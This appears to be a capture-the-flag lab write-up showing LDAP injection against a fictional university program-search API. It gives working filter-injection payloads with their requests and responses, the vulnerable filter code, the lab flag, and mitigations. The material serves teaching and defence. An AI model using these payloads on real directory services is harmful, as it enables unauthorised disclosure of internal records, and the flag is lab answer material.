Post

LDAP Injection – Hidden Registrar Archive Disclosure | Saint Croix University

LDAP Injection – Hidden Registrar Archive Disclosure | Saint Croix University

Overview

Saint Croix University exposed a vulnerable OpenLDAP-backed search functionality through its public academic program directory. User-controlled input from the q parameter was directly concatenated into an LDAP filter without proper sanitization or escaping.

By abusing the LDAP filter structure, it was possible to manipulate the backend query logic and retrieve hidden internal LDAP objects that were never intended to appear in public search results.

The vulnerability ultimately exposed an internal registrar archive entry containing the lab flag.


Objective

Exploit the vulnerable LDAP-backed search functionality to retrieve hidden internal LDAP entries and obtain the flag.


Reconnaissance

The application exposed a searchable academic program directory:

1
2
GET /academics/programs?q=computer HTTP/2
Host: target

The page dynamically loaded results through the following API endpoint:

1
2
GET /api/programs/search?q=computer HTTP/2
Host: target

The API returned JSON-based program results.


Initial Wildcard Enumeration

A wildcard search was performed to understand how the backend handled special LDAP characters.

Request:

1
2
GET /api/programs/search?q=* HTTP/2
Host: target

Response:

1
2
3
4
{
  "query":"*",
  "count":23
}

The request returned all publicly visible programs, indicating that wildcard characters were being interpreted directly by the LDAP backend.

This strongly suggested LDAP-backed filtering behavior.


LDAP Error Disclosure

To confirm LDAP injection, malformed filter syntax was supplied.

Request:

1
2
GET /api/programs/search?q=*)(|(cn=*)) HTTP/2
Host: target

Response:

1
2
3
4
5
6
{
  "error":"Bad search filter — check your query syntax.",
  "backend":"openldap",
  "ldap_message":"missing opening parentheses",
  "filter_template":"(&(objectClass=applicationProcess)(|(cn=*Q*)(displayName=*Q*)(ou=*Q*)(description=*Q*)(adminNote=*Q*)))"
}

This disclosure was extremely valuable because it exposed:

  • backend technology
  • exact LDAP filter structure
  • injectable query position
  • hidden searchable attributes

The leaked filter template:

(&(objectClass=applicationProcess)
 (|(cn=*Q*)
   (displayName=*Q*)
   (ou=*Q*)
   (description=*Q*)
   (adminNote=*Q*)))

Injection Testing

Several payloads were tested to understand how the filter behaved when parentheses and operators were injected.


Payload 1

Request:

1
2
GET /api/programs/search?q=*)(|(objectClass=*)) HTTP/2
Host: target

Response:

1
2
3
4
{
  "error":"Bad search filter — check your query syntax.",
  "ldap_message":"missing opening parentheses"
}

The payload over-closed the filter and broke LDAP syntax.


Payload 2

Request:

1
2
GET /api/programs/search?q=*)(cn=* HTTP/2
Host: target

Response:

1
2
3
4
{
  "query":"*)(cn=*",
  "count":23
}

This payload successfully returned all public entries again.

The behavior confirmed:

  • filter manipulation was occurring
  • the LDAP parser tolerated partially malformed logic
  • injected operators could affect query behavior

Exploitation

The final payload targeted the hidden adminNote attribute leaked earlier through the verbose error message.

Payload:

1
*)(|(adminNote=*

Request:

1
2
GET /api/programs/search?q=*)(|(adminNote=* HTTP/2
Host: target

Successful Response

The injected request returned:

1
2
3
4
{
  "query":"*)(|(adminNote=*",
  "count":24
}

The result count increased from:

1
"count":23

to:

1
"count":24

indicating that a previously hidden LDAP object had been exposed.


Hidden Internal LDAP Object

The response revealed an undocumented internal LDAP entry:

1
2
3
4
5
6
7
8
{
  "cn":"registrar-archive",
  "displayName":"Records Office Internal Archive",
  "ou":"Office of the Registrar",
  "info":"internal",
  "description":"System-internal archive bucket. Do not link in public navigation; staff access via the registrar's portal only.",
  "adminNote":"WEBVERSE{212bee823180e73336e20bc1e5b269e2}"
}

The sensitive adminNote attribute contained the lab flag.


Flag

1
WEBVERSE{212bee823180e73336e20bc1e5b269e2}

Root Cause

The application dynamically constructed LDAP filters using unsanitized user-controlled input.

Likely vulnerable implementation:

1
2
3
4
5
6
filter = `(&(objectClass=applicationProcess)
(|(cn=*${q}*)
(displayName=*${q}*)
(ou=*${q}*)
(description=*${q}*)
(adminNote=*${q}*)))`

Because LDAP special characters were not escaped properly, attackers could manipulate filter logic using:

1
2
3
4
5
*
(
)
|
&

Impact

Successful exploitation allowed:

  • LDAP query manipulation
  • exposure of hidden internal directory objects
  • disclosure of sensitive internal attributes
  • access to undocumented records

In real-world systems, LDAP injection may lead to:

  • authentication bypass
  • privilege escalation
  • credential disclosure
  • Active Directory enumeration
  • internal directory mapping

Mitigation

Escape LDAP Special Characters

Always sanitize and escape user-controlled input before embedding it into LDAP filters.

Example:

1
ldap.escapeFilter(userInput)

Avoid Dynamic Filter Construction

Do not construct LDAP filters using direct string concatenation or template literals.


Disable Verbose Error Messages

The application leaked:

  • LDAP parser errors
  • backend technology
  • internal filter templates

Production systems should never expose such information to users.


Restrict Sensitive Attributes

Attributes such as:

1
adminNote

should never be searchable from public-facing endpoints.


Real-World Insight

LDAP injection vulnerabilities remain common in legacy enterprise applications integrating:

  • OpenLDAP
  • Active Directory
  • SSO platforms
  • internal employee directories

Developers frequently underestimate LDAP injection risks compared to SQL injection, resulting in dangerous filter construction patterns and sensitive directory exposure.

This lab demonstrated how a seemingly harmless search feature could expose hidden internal records through improper LDAP filter handling.

This post is licensed under CC BY 4.0 by the author.